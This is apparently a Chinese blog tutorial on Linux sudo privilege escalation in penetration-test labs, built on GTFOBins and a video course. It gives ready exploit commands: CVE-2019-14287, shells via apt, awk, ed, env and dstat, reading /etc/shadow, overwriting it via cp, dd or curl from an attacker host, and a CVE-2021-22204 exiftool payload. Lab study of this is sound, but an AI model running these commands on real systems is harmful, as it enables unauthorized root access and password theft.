目录
写在开头
CVE-2019-14287
sudo apt和sudo apt-get
sudo apache2
sudo ash
sudo awk
sudo base32/58/64/nc/z
sudo cp
sudo cpulimit
sudo curl
sudo date
sudo dd
sudo dstat
sudo ed
sudo env
sudo exiftools
总结与思考
写在开头
在进行渗透测试获取初始立足点的shell后,通常会运行sudo -l查看当前用户的权限,可通过系统已有可执行文件的权限实现提权。提权的本质就是低权限的用户因为某种特殊的配置/漏洞,可利用具有高权限的指令/工具/脚本等执行高权限的操作。有关Linux系统的提权方法有很多,包含passwd或shadow文件利用提权、自动任务提权、SUID提权、内核漏洞提权、第三方工具提权、sudo提权等等,本文将详解十几种sudo提权的方法。这些方法的总结与归类详见本文最后的总结与思考。
本文将在红队笔记大佬讲解的基础上,对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:
「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili
查看当前用户的权限:
sudo -l
如果出现类似如下没有tty的提示,可能是shell交互性差的缘故:
可以通过python映射一个shell,增强交互性:
python -c "import pty;pty.spawn('/bin/bash')"
此时再运行sudo -l应该就可以提升权限了,不过可能要输入当前用户的密码。
有一个开源项目GTFOBins介绍了常见的提权方法,本文提到的多数sudo提权方式多数也可以在该项目中搜索得到,详情见:GTFOBins
可以在其中搜索相应的提权方式,比如搜索find命令:
可以直接找到对应的提权操作,其他命令的搜索方式类似。
下面进入正题,介绍基于具有sudo权限的可执行文件(命令)进行的提权操作。
CVE-2019-14287
漏洞利用前提
1.sudo版本要求:该漏洞针对1.8.28以下的sudo版本。查看sudo版本的指令是:
sudo -V |grep version
2.运行sudo -l后显示当前用户可以免密切换至其他任意非root用户,即:
(ALL, !root) NOPASSWD: /bin/bash
提权操作
sudo -u#-1 /bin/bash
提权原理
通常情况,切换其他用户的shell可以采用的命令如下(以下两行均可,假设切换到Bossfrank用户,该用户的id为1001,可以通过/etc/passwd文件查看)
sudo -u bossfrank /bin/bash
sudo -u#1001 /bin/bash
对于sudo版本低于1.8.28的情况,由于-1的用户id会被sudo解释为0,也就是root,从而造成提权。
sudo apt和sudo apt-get
漏洞利用前提
当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/apt
详情可见apt | GTFOBins
提权操作
针对sudo apt:
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
针对 sudo apt-get
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
其中的-o指定apt的选项,APT::Update::Pre-Invoke::=/bin/sh都是apt的一个预处理选项,冒号的作用是名字空间。该选项是逐级访问的预处理指令,最终是执行了启动bash会话。
sudo apache2
漏洞利用前提
当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/apache2
操作方式
sudo apache2 -f /etc/shadow
其中-f用于指定apache2的配置文件,我们指定存放了密码hash的文件/etc/shadow。执行时由于给定的配置文件有问题,肯定会出现报错,报错的时候会暴露/etc/shadow文件的第一行,从而给我们利用的可能。报错信息如下:
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$TB/euwMK$0XA............:::',perhaps mispelled or defined by a module not in cluded in the server configuration
这样我们把其中关于root账号的密码hash$6$TB/euwMK$0XA............(此处这个hash只是示意)找个字典破解一下,有可能就能拿到密码。比如可以把密码hash命名为passwordhash,然后在kali中用john破解一下:
john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt
如果能破解出来,那么就可以用这个密码作为凭据进行提权了,不过如果不是弱口令的话也很难破解出来。
sudo ash
漏洞利用前提
当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ash
详情可见ash | GTFOBins
操作方式
sudo ash
bash
直接运行sudo ash即可提权,本质上ash就是启动一个shell的命令。既然可以以高权限启动,相当于直接提权,再用命令bash开启一个会话提高shell的交互性。这里的关键在于认出ash就是一种shell环境。与之类似还有bash/csh/zsh/sh/tclsh/dash等,均为shell环境。
sudo awk
漏洞利用前提
当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/awk
详情可见awk | GTFOBins
操作方式
sudo awk 'BEGIN {system("/bin/sh")}'
awk是常用的文本处理工具之一,上述命令中单引号中的内容是传递给awk工具的脚本,而BEGIN是awk工具的一个特殊模式,表示在处理任何输入前执行的动作,我们用大括号{}添加了指定awk执行的操作:系统命令——启动一个shell环境,从而实现提权。
sudo base32/58/64/nc/z
漏洞利用前提
当前用户可以以sudo高级权限运行base32/58/64/nc/z指令。即运行sudo -l后会有如下的行(此处以base4为例):
(root) NOPASSWD: /usr/bin/base64
详情见base64 | GTFOBins
操作方式
bossfrank=/etc/shadow
sudo base64 "$bossfrank" | base64 -d
base64就是用来编码的,具有sudo权限后可以读取高权限用户才能读取的文件。我们可以利用base64工具的权限,对敏感其进行编码再解码,读取结果(也就是读取原始文件)。 利用这种方式我们就可读取原本的shadow文件,然后再对root用户的hash进行字典碰撞破解,如果破解成功,即可su提权。(base64/58/32/nc/z的利用方式相似)
sudo cp
漏洞利用前提
当前用户可以以sudo高级权限运行复制cp指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/cp
详情见cp | GTFOBins
操作方式
本质思路就是利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件,从而修改了root账户的密码,用新的密码进行提权。
详情可见cp | GTFOBins,具体操作如下:
首先我们可以用mkpasswd生成sha-512加密(/etc/shadow中密码的加密方式)的密文,我们企图把root账户的密码修改为123456,故此处命令为:
mkpasswd -m sha-512 123456
加密结果为:
$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.
查看kali的/etc/shadow可以看到通常情况下shadow的形式
cat /etc/shadow | grep root
照着这个形式,我们可以构造一行如下的字符串,这行字符串之后会拷贝覆盖靶机中的/etc/shadow文件:
root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::
然后在靶机中进行如下的操作:
首先声明一个环境变量,用于指向/etc/shadow:
bossfrank=/etc/shadow
然后再生成一个名为TF的变量,指向用mktemp生成的临时文件:
TF=$(mktemp)
然后将刚刚我们生成的shadow记录(即root账户密码是123456)写入TF变量:
echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF
插叙一下,此时可以查看TF变量的内容,输出TF(echo $TF)可以看到:
/tmp/tmp.Rmzxhak
再查看这个临时文件(cat /tmp/tmp.Rmzxhak),就是我们刚刚的那条shadow记录
最后是关键步骤,使用sudo的cp复制指令,将我们的这条shadow记录复制到/etc/shadow,实现覆盖操作:
sudo /usr/bin/cp $TF $bossfrank
只要用密码123456即可提权。
特别注意,这个操作对于靶机是有损的!会把原有的/etc/shadow覆盖掉,只保留了含有root的一条信息。因此这个提权操作的优先级并不高,同时操作前建议先对原有的/etc/shadow文件进行备份。使用临时变量$TF的操作是GTFOBins的推荐操作,虽然看起来复杂,但利用临时变量、临时文件的方法对于实际攻防中隐藏特征、自动清除痕迹很有意义。如果单纯想要提权的话可以不用这种方法。
sudo cpulimit
漏洞利用前提
当前用户可以以sudo高级权限运行cpulimit指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/cpulimit
详情见cpulimit | GTFOBins
提权操作
sudo cpulimit -l 100 -f /bin/bash
其中-l 100用于限制(指定)cpu的使用率,此处为100%,-f参数表示运行某个程序,该程序以-l参数指定的使用率占用CPU,此处执行的程序就是启动/bash,由于cpulimit具有sudo权限,故可以直接提权。
sudo curl
漏洞利用前提
当前用户可以以sudo高级权限运行curl指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/curl
详情见curl | GTFOBins
操作方式
该操作的本质思路与sudo cp小节的类似,都是通过覆盖系统的/etc/shadow文件修改root密码,达到提权的目的。前述生成shadow格式的操作见sudo cp小节,这里把对于123456进行sha-512加密的shadow形式的字符串存成了一个文件shadow_entry,这就是我们的payload:
在kali中启动一个http服务,架设一个站点,用于存放这个恶意载荷payload:
php -S 0:80
然后在靶机中通过sudo curl访问kali上的payload,也就是这个shadow_entry,并把结果输出到/etc/shadow,从而覆盖了靶机原有的/etc/shadow文件,实现了对root账户的密码修改。
sudo curl http://kali的ip/shadow_entry -o /etc/shadow
-o参数用于将结果输出到文件,接下来只要su提权,输入我们的密码即可。该方法同样由于覆盖了原有的/etc/shadow,对靶机的系统是有破坏的。
sudo date
漏洞利用前提
当前用户可以以sudo高级权限运行日期date指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/date
操作方式
sudo date命令的提权操作与sudo apache2的操作相似
sudo date -f /etc/shadow
其中-f用于指定读取日期的路径。我们利用date的sudo权限从/etc/shadow中读取日期,/etc/shadow中不存在日期信息,会出现报错,但报错中会显示/etc/shadow的内容:
然后执行hash碰撞即可。
sudo dd
漏洞利用前提
当前用户可以以sudo高级权限运行dd指令。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/dd
详情见dd | GTFOBins
操作方式
dd指令是一个命令行工具,可对原始指令进行复制、转化,可以用于转换编码、生成文件等。
该提权方法与前述的sudo cp 和 sudo curl有类似之处,都是通过覆盖/etc/shadow文件的方法,覆盖后使用自己的设定的密码进行登录。首先还是先构造一个shadow形式的字符串,设定密码为123456(方法详见sudo cp):
root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::
运行如下指令即可实现对靶机/etc/shadow文件的覆盖:
echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow
of参数用于输出文件,这里设置为/etc/shadow,就会将我们构造的payload输出到/etc/shadow,实现对靶机中/etc/shadow的覆盖。 同样,这对于靶机也是有损的,建议先备份原有的/etc/shadow。
sudo dstat
漏洞利用前提
当前用户可以以sudo高级权限运行dstat指令。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/dstat
详情见dstat | GTFOBins
提权操作
该操作的核心逻辑是dstat指令可以指定插件,我们可以在插件目录中写入我们用于提权的exp脚本,然后sudo运行dstat的时候同时指定这个插件脚本,即可实现提权。dstat的插件目录通常位于/usr/local/share/dstat或/usr/share/dstat,可以先通过find命令进行查找到底是哪个目录:
find / -name dstat -type f 2>/dev/null
这里假定插件目录是/usr/share/dstat,我们在这个目录中写入我们的python提权脚本(插件)dstat_exp.py:
import os; os.execv("/bin/sh", ["sh"])
当然也可以直接echo到指定目录:
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py
然后sudo运行dstat的时候指定插件名exp即可提权:
sudo dstat --exp
注意此处我们插件的脚本名称是dstat_exp.py,但指定插件名称时输入的是exp。
sudo ed
漏洞利用前提
当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ed
详情见ed | GTFOBins
提权操作
直接sudo运行ed即可进入文本编辑界面,然后输入:
!/bin/bash
即可直接提权。感叹号!表明执行系统命令。我们执行的系统命令是/bin/bash,即启动bash,又由于ed本身是以sudo执行的,从而启动了root的bash,实现了提权。
sudo env
当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ed
详情见env | GTFOBins
提权操作
直接sudo运行env执行/bin/bash即可:
sudo env /bin/sh
env通常用于设定环境变量相关的参数,在此处也可以执行命令,直接以启动bash即可提权。
sudo exiftools
漏洞利用前提
当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/exiftool
且exiftool的版本在7.44-12.23范围内,可用exiftool -ver查看版本。
详情见exiftool | GTFOBins,这其实是有关exiftool的一个漏洞(CVE-2021-22204),详细漏洞源码可见ExifTool 12.23 - Arbitrary Code Execution - Linux local Exploit (exploit-db.com)
提权操作
这里给出红队笔记大佬的漏洞利用方式,按照上述漏洞源码中提示的逻辑操作即可:
首先构造payload,并在里面写入源数据,启动一个系统的shell:
echo "(metadata \"\c${system('/bin/bash')};\")" > payload
或直接vi payload编辑:
(metadata "\c${system('/bin/bash')};")
然后使用bzz工具进行压缩:
bzz payload payload.bzz
按照利用文件,用djvumake工具生成利用文件exploit.djvu,djvu是一种图像文件压缩格式,主要用于扫描文档和电子书格式。
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
提权命令:
sudo exiftool exploit.djvu
运行即可提权。
总结与思考
本文介绍了15种常见的sudo提权方式,主要还是利用了系统配置的缺陷,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的15种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
漏洞相关:CVE-2019-14287 , CVE-2021-22204(sudo exiftools)
直接读取敏感文件:sudo base32/58/64/nc/z
可执行系统命令:sudo apt/apt-get , sudo awk , sudo cpulimit , sudo dstat , sudo ed , sudo env
通过错误配置的报错信息读取敏感文件:sudo apache2 , sudo date
直接执行bash:sudo bash/ash/zsh/sh/dash/tclsh等
可覆盖系统敏感配置:sudo cp , sudo dd , sudo curl
这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我并没有全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。